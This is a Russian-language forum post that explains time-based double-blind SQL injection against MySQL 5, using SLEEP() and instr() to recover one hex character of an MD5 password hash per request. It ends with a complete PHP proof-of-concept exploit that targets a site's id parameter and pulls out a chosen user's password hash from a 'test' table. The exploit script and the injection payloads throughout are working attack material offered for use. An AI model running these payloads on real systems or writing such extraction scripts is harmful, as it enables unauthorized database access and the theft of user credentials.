[B][COLOR=Lime][SIZE=3]Использование sleep() вместо benchmark()[/SIZE][/COLOR][/B] (
32 запроса на md5)
Зачастую встречаются sql-инъекции, в которых нет ни вывода полей, ни вывода ошибок, ни вообще какого-либо контента — они называются Double Blind SQL Injection.
В таких случаях применяют benchmark(). Но существенный минус данного метода в сильной загрузке сервера.
Уже давно предлагается ввести новую альтернативу для пятой ветки mysql — sleep().
Хочу разобрать подробнее, как использовать sleep() на практике.
Рассмотрим следующий запрос:
SELECT SLEEP((SELECT substring(version(),1,1)))
Здесь будет задержка 5 секунд (работаем с пятой веткой) + уйдёт время на выполнение самого запроса.
Если сначала посмотреть, сколько уходит времени на получение ответа от сервера на запрос без задержки, можно точно узнать первый символ одним запросом.
А учитывая то, что обычно сервер выполняет запрос меньше, чем за одну секунду, можно брать просто целую часть от времени ответа сервера.
Теперь посмотрим, как вытаскивать символы. Можно делать это, пользуясь функцией instr()/find_in_set() (спс
.Slip):
SELECT sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+1,1),1,1))))
$delta — некоторый множитель, подбираемый для каждого сервера индивидуально.
В данном запросе задержка будет равна номеру первого символа результата запроса в наборе '0123456789abcdef', умноженному на $delta.
В зависимости от того, как быстро сервер возвращает ответы без задержки, можно варьировать $delta во избежание ошибки.
Таким образом, на 1 md5() хеш потребуется ровно столько запросов, сколько в нём символов — 32.
Теперь о плюсах и минусах:
[color=green]+[/color] Рекордные 32 запроса на md5()
[color=green]+[/color] Не требует вывода ошибок
[color=red]-[/color] Работает лишь начиная с MySQL 5
[color=red]-[/color] Возможны погрешности, если сервер перегружен
Надо отметить, что минусы не так существены, как плюсы — старые ветки MySQL уже отмирают, а погрешностей можно избежать, меняя знаменатель в функции SLEEP().
PoC-эксплойт (PHP):
([url=http://pastebin.com/f28154812]Patebin[/url])
[php]
<?php
$url = «
site.ru/news.php?id=1»; //URL запроса до "+AND+..."
$id = 0; //Номер пользователя
$coef = 2; //Множитель
$try = 5; //Кол-во проверочных запросов
function avrg($arr) {
foreach ($arr as $val) {
$sum+=$val;
}
return $sum/count($arr);
}
function delta($url) {
$tests = array();
for($i=0;$i<=$try;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(1)");
$tests[$i] = time()+microtime()-$time;
}
return avrg($tests);
}
function testtime($url) {
$time = time()+microtime();
file_get_contents($url);
return time()+microtime()-$time;
}
$delta = round($coef*delta($url));
$testtime=testtime($url);
echo "
Blind SQL-Injection pattern PoC-exploit by Root-access
";
echo «Request type: $url+and+sleep(substring(version(),1,1))
»;
echo «Test time: $testtime
»;
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,mid((select+password+from+test+limit+$id,1),$i,1))))");
$res = $res.$sym[round((time()+microtime()-$time-$testtime)/$delta-1)];
}
echo «Hash: ».$res;
?>
[/php]